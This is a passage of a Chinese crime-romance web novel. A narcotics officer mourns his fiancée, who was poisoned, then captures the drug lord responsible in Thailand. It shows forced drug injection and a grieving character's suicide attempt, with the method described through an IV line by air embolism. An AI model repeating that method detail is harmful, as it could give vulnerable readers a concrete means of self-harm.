“沈宗野,我想保护你,我不后悔啊,我还抓到了董自新这个大坏蛋,我觉得我没有白来。” 梁然没有圣母到要牺牲自己去抓住坏蛋。 她觉得她就是一个普通人,她想保护的始终只有她在意的人。 可她恨毒品,恨毒贩。 梁幸均是无辜的受害者,她和梁悦原本幸福的家被制毒的人毁了。 她还有一个发小,许希希也被毒品毁掉了人生。 她从来没有想过有一天她会去抓一个制毒的坏蛋,会牺牲在毒品下。 但是她没有为这个行为后悔。 她只是后悔她没有太多的时间再陪沈宗野了。 “你疼不疼啊?”梁然抚摸着沈宗野残缺的小指和中指,那一块的皮肤粗糙又丑陋,轻轻按住能摸到硬硬的骨头。 她爱的人是一个缉毒警察。 为了缉毒,他付出了他的全部,包括她。 梁然看着沈宗野,她越来越累,呼吸越来越困难。 医护人员把氧气罩在她口鼻上,她终于轻松了一点。 沈宗野的手在发抖,他紧紧握着她的手。 梁然想说一点轻松的话题。 她想说出那句“我爱你”,但又她害怕她不能陪沈宗野了,他的余生会背负这句“我爱你”沉重地前行。 她轻轻抿起唇,没有说出这三个字。 沈宗野俯下身,亲吻她的额头。 他轻轻咬着她敏感的耳垂,湿润的烫滴落在她耳廓中。 “然然,我爱你。” 梁然睁大眼睛,认真地望着沈宗野。 他好像不敢让她看到他的脸,不敢抬头。 他扣住她的手指,像从前每一次他们亲昵地靠在床上那样,他说:“我走的这几个月你还好吗,葡萄听话吗?” 梁然轻轻点头。 “你吃避孕药了吗?” 他说的是他们最后做。爱的那次,那个彻底的,分别的夜晚。 梁然笑了笑,点头。 “例假会痛吗,那个药是不是会不舒服?” 梁然摇头。 沈宗野终于把脸面对她。 她看到他青色的胡茬里都是泪痕。 他的眼睛那么深,像无尽的海域,好像再也掀不起浪涌。 梁然扣住他手指。 她的小腹很疼,她像溺了水,无法吸到氧气。 医生进来抢救,可她身体还是太疼了。 这一夜,她好像都在反复地发烧,疼痛,呕吐,脱水。 沈宗野想陪她,却被抢救的医护和警察拖出病房,他的脸紧紧贴在门外,被玻璃挤压到变形。梁然忍不住一笑。 天亮的时候,梁然觉得自己撑不下去了。 她努力地呼吸,她说:“沈宗野,天亮了吗?” “天亮了。” “会有朝阳吗,我想看朝阳。” “好,我带你去看。” 他们把她抬上了病床,乘坐电梯来到一片露台。 梁然的脸褪尽了血色。 她看着沈宗野,认真又贪心,想把他看再久一点。 “我不想坐在病床上,我想下来。” 沈宗野将梁然抱到了怀里。 他坐在长椅上,让梁然靠在他胸膛。 朝阳从天边升起,天空的云一层金色一层玫瑰色交叠起伏,像东山海岸那片汹涌的海,落满夕阳的海。 “沈宗野,我走的时候可以穿婚纱吗?” “然然……” “可以吗?” “梁然,你不要丢下我啊。”沈宗野宽阔的肩膀不停地颤抖,他的嗓音嘶哑到无声。 “沈宗野,起风了。” 清晨干净的风吹过,吹动梁然蓝色的裙摆,吹落进她笑着的眼睛里。 梁然死了。 她死在沈宗野的怀抱里。 死在这片干净的朝霞中,死在她的25岁。 梁然漂亮,清冷,理智。 她从来不会去做失去理智的事情。 沈宗野是她清醒时绝对不会去爱的那类人,可还是爱得深彻又热烈。真正的爱本来就不会那么理性。 她最残忍的,是把那句“我爱你”永远地放在了无声处。 也把沈宗野永远地留在了这场风里。 第124章 第124章她无声应对着他的单向…… 他们都在劝他,他们都说梁然死了。 沈宗野不相信,他拿出手机:“我们昨晚还拍了照片,她就在书房里工作,我拍下了她的照片!” 可他的相册里根本就没有这张照片。 “她就在房间里,然然在卧室,她藏起来了。”沈宗野还是不相信,冲进卧室里。 明明他抱到了梁然,明明他们在这床上度过了愉快的白昼和黑夜,但房间里没有梁然的身影,只有床上凌乱的蓝色长裙。 裙摆上还凝结着干固的精。液。 为什么? 梁然刚刚还在。 “梁然?” 沈宗野声音颤抖,他的声带还没有痊愈,说话低哑微弱,他无措地望着这个豪华的、空荡的家,“你出来吧,然然,你出来!” 江凛拽住沈宗野,根本没用什么力气,沈宗野却被江凛摔倒,挺拔修长的身躯跌撞到墙上,将那条蓝色长裙抓掉在地板上。 “淮宗,她死了,今天是她的葬礼,她需要你在身边。” 沈宗野痛苦地捂住头。 脑海里是梁然死在他胸膛里,体温褪却的画面。可是又是刚刚清晨他们相拥着,梁然亲昵地依偎在他肩膀上的画面。 到底哪个才是真的? 他的头很疼,被这些画面撕扯得四分五裂。 江凛把梁然的裙子捡起来,放到床上。 扶起他,对他说:“她的葬礼在怀城,你把她送回了南城,梁悦把她接到了怀城。她今天穿着婚纱,是你买的婚纱。淮宗,你不去就再也见不到她了。” 沈宗野好像想起来了。 是他把梁然带上了飞机,带回国,带到南城。 他想起来了,是他买了一件洁白的婚纱。 他好像想起来了。 梁然真的死了,她躺在冰棺里,他们给她化完妆,他看见她穿上了他买的婚纱,直直倒了下去。 他为什么出现在这里了? 沈宗野茫然地环顾四周,无措地撞上江凛的眼眸,江凛拍了拍他肩膀。 他猛地起身,不顾肩膀上的枪伤,不顾身体里那些玻璃碎渣搅起的痛冲出了房间。 今天是梁然的葬礼。 他竟然差点错过了。 他到的时候,穿着一身黑色衬衫的乔思嘉看见他,流下眼泪。 他冲过去,林甄看见了他,迎面走上前,一拳砸在他脸上。 血从鼻腔涌下,沈宗野大脑嗡鸣响着,高大的身躯摇摇欲坠,被谢天明扶住。 江凛去拉林甄。 林甄在骂他,林甄在哭。 沈宗野靠近梁然,殡仪馆在做最后的告别仪式。 梁然画着漂亮的妆,穿着他买的那件婚纱躺在粉色的玫瑰里。 “你为什么还要来!你走,你滚啊!”林悦张开手臂,不让他靠近梁然。 “你是一个缉毒警察,为什么你还要招惹我姐姐,为什么!”林悦咆哮着赶他走。 沈宗野站在被隔离的区域,无措地看着梁然。 她再也不会起来了。 她把他永远地留在了他一个人的余生里。 葡萄好像知道主人走了,趴在梁然的婚纱上,小脑袋安静地靠着,小粉舌头舔着梁然的手背。 她的手指上戴着生日时沈宗野送给她的那颗钻戒。 沈宗野直直地望着梁然,身躯僵硬,佝偻。 仪式结束,音乐听了,沈宗野忽然不顾一切奔向她,狠狠地将她抱住。 “梁然,你不要这样。” “你醒过来吧,我们回到最开始你制定的关系,我们停在浅薄的喜欢上,你说过的,你说过停在那样的喜欢上就好了。” 为什么他要越界? 要爱上她。 是他先动了心,是他主动闯入江凛组的局里,去奔赴有她的那个夜晚。 他后悔了。 他不应该把他炽热的爱都给她。 “然然,我们的房子装修好了,你说过要等我的,你为什么要这样,为什么?”沈宗野抱起梁然,她的身体已经僵硬冰冷。他用脸颊贴着她的脸,用残疾的手掌搓着她的皮肤,他想让她活过来。 “为什么?” “我求你了,不要丢下我啊……” 沈宗野被梁悦拉开。 梁悦恨他,她不要梁然留在南城,她把梁然带回怀城,带回爸爸妈妈身边。 她不停地拉扯他,踹他,扇他的耳光。 沈宗野哭不出来,他说的所有话也低哑到只有梁然能听到。 他想她应该能听到吧,明明她早上还和他在一起,为什么她现在闭着眼睛,怎么也叫不醒。到底哪一个才是现实? 所有人都在流泪。 梁悦嚎啕大哭,乔思嘉啜泣地抱住梁悦,林甄的妈妈,张姨、季阿姨都在哭泣…… 可沈宗野流不出眼泪,他僵硬地看着梁然,眼眶猩红,眼白的小血管全部破裂,手臂上青筋爆裂地鼓动。他好像拒绝此刻,拒绝接受这一切。 直到梁然被送进火化室,他冲进去,江凛和工作人员狠狠地拦他。他被他们按在地上,肩膀的伤口撕裂,血沁了出来,在他黑色的衬衫上染出一块更暗的阴影。 梁然变成了一个小盒子。 他们把她交到梁悦手里。 沈宗野想去抱她,梁悦恨他,抱走了梁然。 沈宗野跟在她的车后,来到墓地。 他求梁悦让他抱一抱梁然,梁悦嘶吼:“你滚啊!” 他一直没有抱到梁然,直到梁悦要将她放到地下更深的地方,他扑过去,把梁然抱到了怀里。 他蜷缩起身体,不让梁悦抢走梁然,任由梁悦痛苦地捶打他。 梁然走了。 她永远地把他独自留下了。 谢天明说她是为了救他,他应该好好地振作起来。 可沈宗野宁愿死的那个人是他,他不怕死,不怕牺牲。他为缉毒做的一切是为了肩上警徽的责任,是为了无数个不被毒品伤害的家庭,是为了让他在意的人永远地活在这片阳光下。 但是他最在意的梁然却离开了这片阳光。 葬礼结束了,所有人都离开了墓园。 沈宗野不想离开,他的脸颊贴在墓碑上,坐在这个漫长难熬的黑夜里。 江凛和谢天明一直在陪他,但江凛接到了案子,不得不离开,就剩下谢天明陪着他。 晚风吹起,沈宗野身躯一动,抬起僵硬的脖子看着这片起风的黑夜。 他觉得是梁然来了,是她回来了。 她临终前说的最后一句话是“沈宗野,起风了”。 起风的时候,他会买一杯热饮来看她,每次都是如此。 沈宗野不顾僵硬麻木的双腿,慢吞吞坐上谢天明的车,去市里买了一杯热饮。 他把一杯温热的奶茶放到梁然的墓碑前。 梁悦选了梁然笑得最温柔的一张照片。 她的桃花眼弯起微笑的弧度,嘴唇轻轻扬起,在看他。 沈宗野贴在这张照片上,直到天亮。 谢天明陪了他一夜,见他的状态有些不忍心。 “沈哥,你想哭就哭出来吧。” 沈宗野没说话,腿蜷得久了有些麻木,没办法起身,他缓了好半天。 “你喊出来,哭出来喊出来就不会这么难受了。”谢天明看着梁然的照片都会落泪,更何况沈宗野呢,可沈宗野不像梁悦那样哭喊,也不像乔思嘉可以哽咽。 这样高大挺拔的人好像在一夕之间被抽空了生命,只剩下躯壳。 谢天明说:“沈哥,你振作起来。” “我知道。”沈宗野终于撑着膝盖站起身,“今天是几号?” “23号。” 才23号,才过去三天。 他以为已经过去了那么久,他以为他和梁然呆了那么多天。 一切都是他的幻觉吗?那为什么他抱到的梁然那么真实。 “董自新在哪儿?” “还没查到,来兴府是他的地盘,有他的保护伞,我们的人员还在查找他的线索。” 沈宗野说:“回局里,我要去找董自新。” 谢天明看了眼沈宗野肩膀上的枪伤,他伤到了肩胛处的神经,手臂的活动受限,身体里的玻璃也急需做手术取出来。谢天明有些担忧。 沈宗野垂眸看了眼墓碑照片里的梁然,微微抿起薄唇:“梁然,我办完案子就回来看你。” 梁然没有回应他。 她无声应对着他的单向道别。 沈宗野转身走向车里,回局里了解案件线索。 王有为阻拦他,不希望他带病参与工作,泰国那边已经有同事在追查董自新的线索。 沈宗野坚持要参与这个未完成的案子,他说他很理智,也很冷静。 他们将他送到医院的心理科做检查,他的确很冷静,原先的幻觉是急性应激障碍,他回答心理医生的每句话都很正常。 就这样,他坐上了飞往泰国的飞机,去抓捕逃掉的董自新。 第125章 第125章逆着光来,顶着天地…… 沈宗野必须要找到董自新,他要为梁然报仇,要继续完成未圆满的缉毒任务。 这一趟谢天明和他是搭档,一起来到来兴府这座城市。 沈宗野穿着黑色短袖,头戴一顶鸭舌帽,下巴青色的胡茬没有来得及清理。他的眼睛太深了,这双眼睛里再也看不到起伏和光。他整个人颓懒,冷恣,周身的戾气。 谢天明有些欲言又止的担忧。 如今的沈宗野不需要伪装就已经一身毒贩的狠戾了。可在沈宗野垂眸看脖子上的平安符时,周身的冷戾一下子消散,眼神有独一的温柔。 沈宗野没有休息,下了飞机就去跟当地的同事汇合,听他们这几天查找的结果。他略沉思,没有迟疑,直接改变了搜查的地图。 “去清莱。” “你有把握他在清莱?”同事问。 沈宗野没有把握,只是经过专业的分析。 “当地的保护伞不会把董自新藏在这里,会面临两国外交的风险。董自新带着陈沥周,陈沥周是个化学天才,懂得如何制毒。傅寒一直想得到董自新的制毒配方,他和董自新势均力敌,现在是他下手的最好机会。” 不管是抓到董自新还是陈沥周,对傅寒来说都是稳赚不赔的买卖。 从傅寒和董自新联合设计他的手段来看,傅寒绝对有这个野心。 沈宗野来到了清莱。 一同来的有六名同事,听他指挥,分别查起傅寒可能会出入的场所。 沈宗野在之前见傅寒的赌场暗查了两天,没有看到之前见过的熟脸。他去了Amber工作的地方和酒店,也没有打听到Amber在哪。听她一个女性朋友说她已经消失五天了。 沈宗野已经有些身体快消耗尽的疲惫,他额头很烫,脑袋有些昏沉,胃部的手术伤口也在感染。谢天明让他留在房间里休息,沈宗野不想停下来。 他一定要把董自新抓住。 谢天明买了药给他,沈宗野将手术伤口和肩膀上的枪伤消毒,他最近后背和腹部总有些痛,不知道是不是那些没有取出的玻璃在作祟。 忍着这些伤,沈宗野去了地下赌场,折腾了两个晚上查到了Amber的踪迹。他没惊动Amber,跟踪了她两天,跟到了傅寒身边那名手下,辗转锁定了傅寒的位置。 傅寒见过沈宗野,沈宗野不方便出面,谢天明也在老单那里露过脸,只能由同事出面,混在了送餐的人员里面进了傅寒的一栋园区。 隔天,同事出来,确定里面有被关押的人员,看守极为严密。 要抓捕必须上报当地政府,但沈宗野又担心出现董自新那样的事件。 他思考片刻,问谢天明:“之前陈沥周想让雇佣兵去医院救我,那些人手呢?” 谢天明听懂了他的意思:“你想要那些人参与进来?” 沈宗野点头。 傅寒这处园区不大,是他做线上博。彩的产业,园区的高层都在这里。他还有另一处园区,那里员工密集,关押着很多高薪诱骗来的国人,才是傅寒的老巢。 董自新那天就是被傅寒的人带到高管这片园区,一同被关押过来的还有陈沥周。 抓捕那天,董自新给陈沥周注射了麻醉药品,才让陈沥周被迫被带到了这里。董自新也是中了傅寒的计,但那天不落入傅寒手上,他也没法活。 傅寒要他交出制**,董自新没配合。 傅寒很恼羞,不过也不敢动董自新,董自新上面还有保护伞,上头没放弃他,傅寒才没敢轻易动他。 傅寒把目标转向了陈沥周。 “你不说,我就让你儿子说。” 傅寒决定给陈沥周注射毒品。 已经拖了这么多天,陈沥周最开始让傅寒给他找来几种化学品,假装为他制毒,拖到了今天,傅寒也知道他是在忽悠他了。 他们把注射器里的毒品往外推出一点,陈沥周闻到了抵触的化学气味,明明针头还没有扎进他体内,他却浑身发抖,眼眶红透了。 他想起了梁然。 梁然在这个针头下倒在了那片枪林弹雨中,他伸出去的手无法触摸到她,他被徐川和査帕狠狠拽走。 梁然骤白的脸和鱼尾裙下痉挛的小腿都在他眼前浮现。 他质问董自新为什么要这样对梁然,她是他爱的人! 董自新冷笑,说他愚蠢,被女人给骗了。 陈沥周问:“她会死吗?” 董自新说会死,已经死了。 蓖麻素蛋白,无药可救的毒。 那天是20号的中午,他和梁然原本应该订婚的日子。董自新这样回答他。 他的爸爸还很嚣张,说这是对不听话的人的惩罚。 陈沥周没法再对董自新产生任何希望和感情。 他好像疯了,撕扯董自新的西装,咆哮地质问,他的眼泪大颗地涌下。 陈沥周不怕死了,梁然走了,妈妈走了,他行尸走肉地拖到现在,就是想等到机会对付董自新,如果警方找不到这里,那他就做这个让坏蛋受到惩罚的人。 傅寒进了房间,对被绑在椅子上的陈沥周笑:“啧,看你细皮嫩肉的,也是个文化人,我对你这种化学天才很是尊敬,你也别拿我的真心喂狗嘛,玩了我这么多天。” “我再最后问你一遍,你是要老实把天使糖弄出来,还是……” “我做。”陈沥周说,“但是我有个条件,我要见我爸。” 傅寒有些不爽:“你救不了你爸,我只能向你保证不弄死他,只要你老老实实把东西做出来。” “他受刑了吗?” 傅寒已经很不爽了,耐心被耗尽。 他的手下回答陈沥周:“傅爷放你们父子俩一条命已经够意思了,别仗着有人撑腰就以为我们不敢弄你们!再说最后一遍……” 陈沥周好像听懂了。 因为董自新上面的势力,还暂时没有被上面的人放弃,所以傅寒再想弄死他们父子也还不敢动手。傅寒打的应该是时间战,时间晚了,也许董自新马上就会被找到,被上面的势力救走。 他之前听李昭说过天使糖很受境外一些皇室贵族的喜欢。 陈沥周说:“谁说我要救他,我爸爸做了那么多年的毒品,自己还没尝过吧。” 傅寒眯起眼眸,盯着陈沥周哈哈笑了起来。 他们放开了陈沥周。 陈沥周来到了关押董自新的房间里。 这里四面没有窗户,就一张行军床和一把椅子。董自新被锁在行军床上,身上虽然看不到什么伤,但能看出状态很不好。 见他来了,董自新激动地坐起身:“沥周,他们把你怎么样了?是爸爸连累你了。” 陈沥周抿了抿唇,袖管里抓着那支注射器,停在床前。 董自新眼里动容,认真地看着他脸上的淤青和手背上的伤,流下眼泪说害他受苦了。 “过来,让爸爸看看你的伤。” 中年男人眼里泪水纵横,对他的关心和从前一模一样。 陈沥周僵硬地垂下头。 董自新抚摸他脸上的伤口,又流着眼泪看他手背上的伤。倏然,董自新夺过他手上的注射器,猛地对准他脖子。 “连你老子都敢害吗?”董自新已经脸色大变,冷冰冰睨着他,“你要杀你老子吗?” 陈沥周这才惊觉上当了。 他去抢夺,不顾一切将董自新按住。 董自新察觉他已经彻底疯了,也不再留恋父子情,把注射器对准他。 针头扎入了皮肤,陈沥周用脚踹开,皮肤瞬间被针头割破,鲜血冒出。 他竟然会这么愚蠢地相信董自新还会对他有那点父子情。 他爬起来,跳上行军床,压在董自新身上抢夺这支注射器。 董自新单臂抗不过他两只手臂的争夺,那支注射器没入了董自新体内,液体全部注进皮下。 董自新瞳孔失焦,张大嘴唇,脸色由惨白到猩红。 他虽然贩毒,自己却从来不吸毒,第一次被注射身体没有欣快感,只感到疼痛和不适,呼吸困难,他大口地吐出白沫。 陈沥周双手发抖,脸颊早已经冰凉一片。 他坐在董自新身边,等了一个小时,董自新缓过来,瞪向他的眼睛全是杀气,坐起身掐住他脖子。 陈沥周不会格斗,但求生的本能让他挣脱出来。 他跌坐在地板上质问:“为什么?梁然是我最爱的人,你为什么要害她?” 他痛哭,哽咽。那些压抑的情绪到此刻悉数爆发,悲伤将他撕得四分五裂。 “我妈妈是怎么死的?” 董自新恶狠狠盯着他,这一刻他们再也没有父子情,他说出口的每一句话都带着滔天的恶毒。 “你以为我真的很爱你?这么多年不跟别的女人生孩子,是因为我很宝贝你?” “哈哈,要不是老子精。子都死绝了,我会这么宝贝你?你算个什么东西。” “你妈妈又算个什么东西?想逃跑,想举报我,你们母子两个是一样的基因,喂不熟的白眼狼。” 陈沥周在董自新恶毒的语言里终于知道了真相。 他的妈妈是董自新亲手杀死的,董自新杀人,他的奶奶埋尸。 他的妈妈的确叫童习贞,是李富琴买来的生育工具。 他们那个寨子里男人太多了,都流行买女人来生孩子。李富琴一个人养大了董自新,董自新很听李富琴的话,李富琴觉得学历高的女人好,说一定要买一个有文化的,基因这种东西会遗传,能生出最好的宝宝,改善他们家的基因。 这事由李富琴去操办,就挑到了童习贞。 童习贞高挑、漂亮,皮肤白净,气质高贵,有文化有涵养。即使最开始那一年被铁链锁住,也不会说一句脏话骂人,实在太斯文了。 但童习贞不安分,太聪明,逃了六次,每一次都成功逃出寨子,但还是被寨子里好心的邻居抓回来。 明明董自新和李富琴对她那么好,不像别家让她干什么重活儿。他们家也没什么重活要干,董自新在外面跟着人贩毒赚钱,日子其实过得很不错。 后面童习贞不再逃了,和董自新过起了日子。 董自新的买卖违法,只有李富琴知道,他在外面跑时一失联就是几个月。童习贞也听话,和李富琴慢慢处成了最亲密的婆媳关系。 董自新每次回来都给童习贞带城里的衣服和护肤品,对她很好。 但童习贞一直没有怀上孩子。 李富琴带她和董自新去医院检查,寸步不离守着童习贞,那次童习贞居然还是想跑。 “我和你奶奶对她那么好,她完全没有心!” 那次回到家,董自新和李富琴却出奇地没有再用铁链惩罚童习贞。 因为医生说他的精/子质量极差,很难有孩子,有条件的话可以去国外做试管。 那天是董自新的天塌下来的一天。 作为一个固执守旧的农村人,生个儿子是他人生最大的一件事。 从那后他其实没再对童习贞报希望了,只想赚到更多的钱去国外做试管。 “我对你妈妈是喜欢的,但是她不知足。”董自新回忆着,恶狠狠说。 童习贞是一个很漂亮的城里姑娘,气质那么高贵,董自新也只是比她大两岁,不动心才不正常。他很喜欢童习贞,想用时间让童习贞习惯他们,接受他们的思想。 但是那年童习贞竟然怀孕了。 李富琴可以确定孩子是董自新的,因为童习贞每天都生活在她眼皮底下,绝对没有机会接触别的男人。 可董自新不相信。 医生都说了他就算做试管也很难有孩子,而且他一年才回家几次,怎么可能就让童习贞怀上了。 他开始对童习贞阴晴不定。 有时候暴怒地把她按在床上,不顾她怀孕就一通发泄。有时候看她被欺负得那么可怜,又心疼起来,对她道歉。 直到陈沥周的降生,董自新都等不及他满月,连夜抱去大医院做了亲子鉴定,才确定孩子真的是他的。 他把童习贞当成了神。 对她无条件地好。 他把陈沥周当成了最珍贵的宝贝,什么都买给陈沥周。 童习贞文化很高,陈沥周随她,讲话很早,喊爸爸很早,算数学、背诗什么都会,他继承了童习贞全部的优点。 董自新慢慢地觉得自己过得很幸福,但他还是不知足,想赚更多的钱。 “我想把最好的给你们,我是真的为这个家在拼,但你妈妈不知足,现在你也不懂我!”说到这里,董自新眼底的恶意更深。 陈沥周在长大,童习贞也不再想逃,对董自新越来越关心。 但这些都只是童习贞麻痹董自新的手段。 她早就在董自新有次喝醉回家撂出他毒品生意的时候,把他的罪行都套了出来,记在本子上。 董自新第二天记起来这回事,逼问童习贞。童习贞装得和他一条心,劝他不要做了,她只想要一家人好好地,一起养大儿子。 董自新那时真的被感动到了。 他照旧做着这个生意,干掉了上家,坐到了当时最高的位置。 但有一天,李富琴打电话给他,让他马上回家。 原来李富琴发现了童习贞去找寨子里来修建信号塔的团队,想举报他。 那些被拦下的证据里有他杀过人的弹簧刀,无意带回家的毒品,童习贞记录的日记。 还有童习贞的求助信,信上说她是被拐卖来的,她的丈夫叫周大兴,是一名毒贩和杀人犯。 董自新把童习贞关在房间里质问。 童习贞说她恨他。 董自新锁住她手脚,要惩罚她,童习贞拼了命地躲,他失手扇下一耳光。 童习贞死在那一掌下。 李富琴骂他为什么这么冲动。 说孩子放学要回来了。 董自新失魂落魄。 那是他第一个后悔弄死的人。 但好在对待陈沥周,他有法子掩饰。 李富琴收拾干净屋子里的血,指挥赶来的査帕等人去埋尸,但忘了清理董自新鞋子上的血。 这件事他瞒了这么多年,到现在吐出来已经不觉得愧疚,带着全部的憎恶。 陈沥周蹲在地上,高挑的身躯早就只剩个空壳子,喃喃地喊妈妈。 他八岁失去妈妈,寻觅了这么多年的真相,用了二十年扑在仇恨上,原来凶手不是别人,是和他生活了二十年的最亲的两个人。 门外忽然传来枪声打斗声。 傅寒的人冲进来,拽起陈沥周就跑。 陈沥周:“出什么事了?” “警察来了,跟我走!” 他们没管床上绑着的董自新,眼下带走陈沥周就是带走制**。 陈沥周说:“去实验室,有瓶哌。啶必须带上!” 接他的人说来不及了。 “必须要它,不能少!” 那人没办法,只能跟陈沥周冲去实验室。 陈沥周抱起几支试管跟上那人,上了傅寒的车。 …… 来抓捕的人是沈宗野和当地的警察。 沈宗野用陈沥周那批雇佣兵先在傅寒最大的园区弄出动静,把人手引去那里,才带着警方围住这座园区。 董自新在傅寒这里也有心腹,只是之前不方便来救他。 这会儿趁乱,董自新被心腹救出那间房,冲向一辆汽车。 他单臂抓着车门,忽然有子弹嗖地穿过他头顶,打在车厢顶。 董自新猛回头,看到持枪的沈宗野。 青年一身的黑,眼眸深到可怖,逆着光来,顶着天地。 他身上的气场太冷了,仿佛把四周一切都冰封。 董自新快速还击,射向沈宗野。 又是一颗子弹袭来,这次直接击中他膝盖。 董自新跪了下去,仍抬枪还击。 沈宗野的枪法比他快,且准,直接射入他枪口,子弹擦过手掌皮肉,将他整条手臂都震得麻木。 青年停在他身前。 董自新快速往车里钻,却被沈宗野拽下。 董自新夹住沈宗野双脚,快速拔出弹簧刀袭击沈宗野。 沈宗野反握他手腕,好像只是轻松一折,就已经将他手腕脆生生掰折。 董自新痛嚎一声,踢向沈宗野。 沈宗野又将他膝盖折出脆响。 他们厮打在一起,但只有董自新知道他彻底要死在这一次了,彻底栽在沈宗野手里。 沈宗野满身的戾气,董自新见过这么多毒贩,从没觉得还有谁能比此刻的沈宗野更狠。 沈宗野招招凌厉,每一击都像是拆他的骨。董自新吐出鲜血,命悬一线,终于被赶来的警察拉出沈宗野的攻击。 沈宗野盯着他,双眼深邃到像个死人,周身可怖的气场让董自新第一次感受到害怕,缩向警察的手铐中。 第126章 第126章“梁然,起风了,你来…… 怎么把董自新押解回国是个问题。 为了保证犯人人身安全和押解顺利,沈宗野散播出一趟航班信息,实则他乘坐的是另一趟航班。 等在机场的过程,沈宗野和同事一左一右坐在董自新边上,其他登机口的各个座椅上也都有他们的人。 谢天明去打听完消息回来,说他们散播出去的那趟航班果然遭到了临时检查,延时起飞了。 沈宗野淡淡扫向四周,视线锐利。 董自新这会儿发了高烧,坐在轮椅上,即便想冷笑也有气无力。 沈宗野冷冷扫了眼董自新。 董自新已经有些怕沈宗野,身上骨折的伤让他像个残废,不敢再惹怒沈宗野。 沈宗野起身假装去逛商店,留意着密集的人潮。 忽然有个西装革履的青年出现在他面前。 “您好,沈先生,我们陆总想见您。” 沈宗野微怔。 想见沈宗野的人是陆朝。 他来在这边出差完,正要回国,刚才进贵宾候机室时见到了沈宗野。 沈宗野来到陆朝的候机室 陆朝已经知道梁然去世的消息,他当时在国外没有赶回国,对于他来说梁然是欣赏,是好感,也是征服。但是如今陆朝没有机会了,沈宗野也没有机会了。 虽然陆朝不知道梁然为什么愿意为了沈宗野付出这么多,也依旧看不起沈宗野,不理解梁然和沈宗野的感情。但他还是尊重梁然,知道沈宗野应该是在办案。 他说:“梁然临终前你在她身边吗?” “嗯。” 沈宗野站在贵宾候机室,没有入座,也没有什么表情。 “她有什么遗愿吗?” “没有。” 陆朝问:“你在办案?” 沈宗野没回答。 陆朝:“需要帮助的话可以上我的飞机,我的私人湾流,我九点回南城。” 沈宗野权衡了片刻。 陆朝说:“不是为了你,是我帮梁然。” 沈宗野最后带着董自新乘坐了陆朝的飞机,顺利回到南城。 他知道案子这么顺利不是因为他的功劳,是因为梁然。 他和陆朝道谢分别,像个正常人一样。 他把董自新押回局里,也像个正常人一般。 直到亲眼看到董自新戴上手铐脚铐,被关进审讯室。他走到办公室,口腔干燥,喉咙灼痛,去倒水喝,却轰然倒下去,口中不停吐出鲜血。 沈宗野被紧急送往医院。 他身体里残留的玻璃刺破了胃壁导致大出血,经过紧急抢救脱离了生命危险,体内的玻璃也都重新在手术中全部取出。 办完这个案子,他好像一瞬间被抽空了身体,明明已经脱离生命危险,却又在清晨高烧不退,呼吸增快,氧浓度下降,再次被送进重症监护室抢救。 三天过去,沈宗野一直醒不过来,医院下了病危通知书。 他不断地高烧,持续性谵语。 重症监护室外,王有为和几名同事脸色都很凝重。 医生说:“病人已经呼吸困难,合并肺炎感染了,特效药都用上了,如果一直不退烧是非常危险的事情,你们要做好最坏的打算。” 护士说:“谁是梁然?他一直在叫梁然。” 谢天明背过身,擦掉眼泪。 江凛眼眶红肿,开车去怀城将梁悦带到了病房。 …… 沈宗野醒了过来,他听到了梁然的声音。 但是睁开眼睛时看到的却是梁悦。 是愤怒的梁悦,流着眼泪的梁悦,她满眼的痛苦和仇恨,瞪着他说:“你的命是我姐姐救的,我不允许你浪费她的命。你不配死,我要你活着,一直记得我姐,永远不能忘记她。” 一行泪划过沈宗野挺拔的鼻梁。 他退烧了,身体炎症得到控制,逐渐好转,转到普通病房里。 谢天明和何谨峰轮流在医院陪护他。 今天谢天明来得早,和何谨峰换着班,两人聊起局里的事,何谨峰走时和沈宗野打招呼,让他振作点,又叮嘱谢天明:“谢帅,好好看着他,有事给我打电话。” 谢帅。 谢天明已经不叫卧底的化名了,叫回他的本名谢帅帅。 同事来看沈宗野时,叫的也是他的真名,沈淮宗。 他现在叫做沈淮宗,他已经不是沈宗野,不是那么案子里卧底的毒贩,也不再是梁然习惯的那个名字了。 “沈哥,今天感觉怎么样?”谢帅帅坐在他对面的病床上,“那些玻璃好凶险,医生说差点划破你喉返神经,真是万幸啊,不然你都不能讲话了。” 沈淮宗侧过脸,看着窗外。 一阵风过,吹动病房外绿色的梧桐树,叶子飘落在窗台上,阳光在晃动的绿叶里明灭斑驳。 沈淮宗说:“小谢,我今天想喝一杯热饮。” “好,我去给你买!”谢帅帅很高兴,总算有了些笑脸。 “我家里二楼的抽屉里有一串沉香,和梁然给我的情侣戒指,你顺道帮我带来吧。” “行啊,还有什么要拿的?”见沈淮宗终于肯主动说些话,谢帅帅很是高兴。 “我衣柜里有一件黑色衬衫,胸口有银竹,我想换这件衬衫。” “没问题!”谢帅帅说,“早点清醒过来吧,沈哥,你要好好的,嫂子在天上能看到。” 沈淮宗抿起薄唇,笑了笑。 谢帅帅开车为沈淮宗拿回了这些东西,沈淮宗在他的帮助下换上了衬衫黑裤,戴上了沉香手串和戒指。 “谢谢。”沈淮宗接过谢帅帅递来的雪梨水,“好像凉了。” 谢帅帅摸了摸,还是温热的。但沈淮宗说凉了就是凉了,他马上说:“我再出去买一杯,马上就回来。” 病房里只剩下沈淮宗。 他下巴青色的胡茬已经清理,面容干净,身上的衬衫也显得他英隽有神,恢复了往昔的英气。他从病床上坐起来,看着窗外。 满目摇晃的绿,阳光无限地明朗。 起风了,是个好天气。 沈淮宗将输液瓶上的管子拔下,空气瞬间涌入输液管中。 他调快了输液速度,输液管中最后一段药水进入了静脉,空气也瞬间涌入。 “梁然,起风了,我带了你爱喝的雪梨水。你来接我吧。” 他躺回病床,抚摸着沉香上那颗有裂痕的蓝色翡翠。 他们不会知道他在昏迷中听到了梁然的声音,可是睁开眼睛看到的却是梁悦时的失望。 他们不会知道明明他在昏迷里又见到了梁然。 梁然在笑,她的笑依旧清冷,像绿野上高悬的月亮。 他躺在那片绿野上,她笑着拉他起来跳探戈。 他的梦明明那么好。 明明他已经见到了梁然。 “淮宗!” 江凛冲进了病房,看到眼前场景失声喊大夫。 江凛拔掉沈淮宗手背上的针头,惊得嘴唇抖动。 沈淮宗呼吸困难,想挣开江凛。 医生和护士冲进病房,将他脚位抬高,身体朝左侧卧,紧急罩上氧气,飞快推进观察室里。 幸好江凛发现得及时,进入他静脉中的空气还不多,否则马上就会造成严重的空气栓塞,无力回天。 谢帅帅在病房门口受江凛的训,懊悔极了。 刚才是谢帅帅下去买奶茶时撞见了江凛,江凛一听觉得不对劲,二话不说冲上了病房。 沈淮宗服过药,那些空气已经排出了体内,对他的生命没有任何威胁。 他在痛苦。 